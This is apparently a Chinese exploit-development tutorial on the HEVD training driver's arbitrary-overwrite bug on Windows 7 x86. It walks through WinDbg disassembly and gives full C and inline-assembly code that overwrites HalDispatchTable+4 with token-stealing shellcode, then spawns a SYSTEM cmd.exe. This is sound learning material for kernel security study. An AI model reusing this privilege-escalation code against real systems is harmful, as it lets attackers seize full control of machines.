漏洞分析丨HEVD-0x3.ArbitraryOverwrite[win7x86]

作者:selph
前言
窺探Ring0漏洞世界:任意內(nèi)存覆蓋
實(shí)驗(yàn)環(huán)境:
?虛擬機(jī):Windows 7 x86
?物理機(jī):Windows 10 x64
?軟件:IDA,Windbg,VS2022
漏洞分析
本次實(shí)驗(yàn)內(nèi)容是ArbitraryOverwrite
首先用IDA打開HEVD.sys,搜索IrpDeviceIoCtlHandler
本次實(shí)驗(yàn)的是第三個(gè)樣例,IRP分發(fā)函數(shù)通過跳轉(zhuǎn)表進(jìn)行跳轉(zhuǎn),兩項(xiàng)之間的控制碼相差4,所以本次實(shí)驗(yàn)使用的控制碼是:0x22200b,漏洞觸發(fā)代碼:

代碼功能是參數(shù)提供一個(gè)結(jié)構(gòu),結(jié)構(gòu)里包含一個(gè)寫入地址,一個(gè)寫入內(nèi)容地址,向?qū)懭氲刂防飳懭胫付ǖ膬?nèi)容(4字節(jié)),只要能覆蓋一個(gè)要執(zhí)行的函數(shù)的地址,然后執(zhí)行這個(gè)函數(shù)的時(shí)候就會(huì)調(diào)用到內(nèi)核態(tài)的shellcode上去,由此這是個(gè)任意地址寫入漏洞
漏洞利用
內(nèi)核提權(quán)--HalDispatchTable
HalDispatchTable是內(nèi)核中的一個(gè)系統(tǒng)調(diào)用表,當(dāng)獲得任意地址寫的能力之后,可以使用shellcode地址覆蓋HalDispatchTable第二個(gè)成員處的HalQuerySystemInformation函數(shù)地址:

然后調(diào)用NtQueryIntervalProfile函數(shù),就會(huì)通過該表獲取地址進(jìn)行調(diào)用,windbg查看該函數(shù):
kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
...
nt!NtQueryIntervalProfile+0x5d:
8411cec8 8b4508???mov????eax,dword ptr [ebp+8]
8411cecb 85c0????????????test????eax,eax
8411cecd 7507????????????jne?????nt!NtQueryIntervalProfile+0x6b (8411ced6)??Branch
nt!NtQueryIntervalProfile+0x64:
8411cecf a1acabf383??????mov????eax,dword ptr [nt!KiProfileInterval (83f3abac)]
8411ced4 eb05????????????jmp?????nt!NtQueryIntervalProfile+0x70 (8411cedb)??Branch
nt!NtQueryIntervalProfile+0x6b:
8411ced6 e83ae5fbff??????call???nt!KeQueryIntervalProfile (840db415)
中間省略無關(guān)內(nèi)容,這個(gè)函數(shù)里只進(jìn)行了一次call指令調(diào)用KeQueryIntervalProfile:
kd> uf nt!KeQueryIntervalProfile
...
nt!KeQueryIntervalProfile+0x14:
840db429 8945f0?mov?????dword ptr [ebp-10h],eax
840db42c 8d45fc??????????lea?????eax,[ebp-4]
840db42f 50??????????????push????eax
840db430 8d45f0??????????lea?????eax,[ebp-10h]
840db433 50??????????????push????eax
840db434 6a0c????????????push????0Ch
840db436 6a01????????????push????1
840db438 ff15fcb3f383????call???dword ptr [nt!HalDispatchTable+0x4 (83f3b3fc)]
840db43e 85c0????????????test????eax,eax
840db440 7c0b????????????jl?????nt!KeQueryIntervalProfile+0x38 (840db44d)??Branch
nt!KeQueryIntervalProfile+0x2d:
840db442 807df400????????cmp????byte ptr [ebp-0Ch],0
840db446 7405????????????je??????nt!KeQueryIntervalProfile+0x38 (840db44d)??Branch
nt!KeQueryIntervalProfile+0x33:
840db448 8b45f8??????????mov?????eax,dword ptr [ebp-8]
840db44b c9??????????????leave
840db44c c3??????????????ret
nt!KeQueryIntervalProfile+0x38:
840db44d 33c0????????????xor?????eax,eax
840db44f c9??????????????leave
840db450 c3??????????????ret
這個(gè)函數(shù)里依然進(jìn)行了一次call指令,可以看到調(diào)用的是HalDispatchTable+4的函數(shù),也正是我們要進(jìn)行覆蓋的函數(shù),這個(gè)函數(shù)不管返回什么,都不會(huì)使得后續(xù)產(chǎn)生什么不良影響(也就是說,選擇覆蓋這個(gè)函數(shù)主要是覆蓋不會(huì)影響系統(tǒng)奔潰)
到這里進(jìn)行利用的思路已經(jīng)逐漸清晰了起來,第一步:找到HalDispatchTable地址
找到HalDispatchTable地址
查閱資料[1]可知:
1.找到內(nèi)核模塊ntkrnlpa.exe的內(nèi)核基址:使用EnumDeviceDrivers函數(shù)枚舉配合GetDeviceDriverBaseNameA函數(shù)獲取模塊名稱進(jìn)行判斷
2.用戶模式加載內(nèi)核模塊ntkrnlpa.exe,通過GetProcAddress函數(shù)獲取HalDispatchTable的地址,計(jì)算出與基址的偏移量
3.計(jì)算HalDispatchTable在內(nèi)核模塊的地址:基址+偏移
實(shí)現(xiàn)如下:
//獲取驅(qū)動(dòng)模塊基地址
LPVOID GetDriverBase(LPCSTR lpDriverName)
{
???LPVOID lpImageBase[1024];
????DWORD lpcbNeeded;
????char lpfileName[1024];
???//Retrieves the load address for each device driver in the system
???EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
????for (int i = 0; i < 1024; i++)
????{
???????//Retrieves the base name of the specified device driver
???????GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
???????if (!strcmp(lpfileName, lpDriverName))
????????{
???????????printf("[+]success to get %s\n", lpfileName);
???????????return lpImageBase[i];
????????}
????}
???return NULL;
}
//?計(jì)算內(nèi)核HalDispatchTable地址
PVOID GetHalDispatchTable() {
???LPVOID pKernelBase = GetDriverBase("ntkrnlpa.exe");
???HMODULE pUserBase = LoadLibraryA("ntkrnlpa.exe");
????PVOID pUserHalDispatchTable = GetProcAddress(pUserBase, "HalDispatchTable");
????DWORD dwOffset = (DWORD)pUserHalDispatchTable - (DWORD)pUserBase;
?
????PVOID pKernelHalDispatchTable = (PVOID)((DWORD)pKernelBase + dwOffset);
???return??pKernelHalDispatchTable;
}
構(gòu)造利用代碼:
不用管返回值,只需要執(zhí)行完令牌替換就行:
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
????__asm {
???????pushad
????????;獲取當(dāng)前進(jìn)程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
????????mov ecx, eax
????????;搜索system進(jìn)程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID :
???????mov eax, [eax + FLINK_OFFSET]
???????sub eax, FLINK_OFFSET
???????cmp[eax + PID_OFFSET], edx
???????jne SearchSystemPID
????????; token竊取
????????mov edx, [eax + TOKEN_OFFSET]
???????mov[ecx + TOKEN_OFFSET], edx
????????;環(huán)境還原?+?返回
???????popad
????}
}
編寫exp
要調(diào)用的是ntdll.dll里的函數(shù)NtQueryIntervalProfile,因?yàn)闆]法直接用,所以需要間接獲取地址,構(gòu)造函數(shù)指針進(jìn)行調(diào)用,整體利用流程如下:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
????PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG??ProfileSource,??OUT PULONG Interval);
int main()
{
????ULONG UserBufferSize = sizeof(WRITE_WHAT_WHERE);
????PVOID EopPayload = &TokenStealingPayloadWin7;
???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
????if (hDevice == INVALID_HANDLE_VALUE) {
???????printf("[ERROR]Open Device Error\r\n");
???????system("pause");
???????exit(1);
????}
????else {
???????printf("[INFO]Device Handle: 0x%X\n", hDevice);
????}
???WRITE_WHAT_WHERE* UserBuffer = (WRITE_WHAT_WHERE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
????if (!UserBuffer) {
???????printf("[ERROR]Allocate ERROR");
???????system("pause");
???????exit(1);
????}
????else {
???????printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
???????printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
????}
????PVOID HalDispatchTable = GetHalDispatchTable();
?
???UserBuffer->What = (PULONG_PTR)&EopPayload;
???UserBuffer->Where = (PULONG_PTR)((DWORD)HalDispatchTable + sizeof(PVOID));
????ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x222003 + 4*2, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
????//?觸發(fā)漏洞
???HMODULE hNtDll = LoadLibraryA("ntdll.dll");
???NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
????ULONG Interval = 0;
???NtQueryIntervalProfile(0x1337, &Interval);
???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;
???system("pause");
???system("cmd.exe");
???return 0;
}
效果展示

參考資料
?[1]?windows提權(quán)基礎(chǔ)知識(shí)?-?食兔人的博客?(ycdxsb.cn)?https://blog.ycdxsb.cn/2acbaae3.html
?[2]?HAL_DISPATCH (geoffchappell.com)?https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/hal/hal_dispatch.htm
?[3]?FuzzySecurity | Windows ExploitDev: Part 11?https://www.fuzzysecurity.com/tutorials/expDev/15.html
?[4]?[原創(chuàng)]Windows Kernel Exploit?內(nèi)核漏洞學(xué)習(xí)(3)-任意內(nèi)存覆蓋漏洞-二進(jìn)制漏洞-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com?https://bbs.pediy.com/thread-252506.htm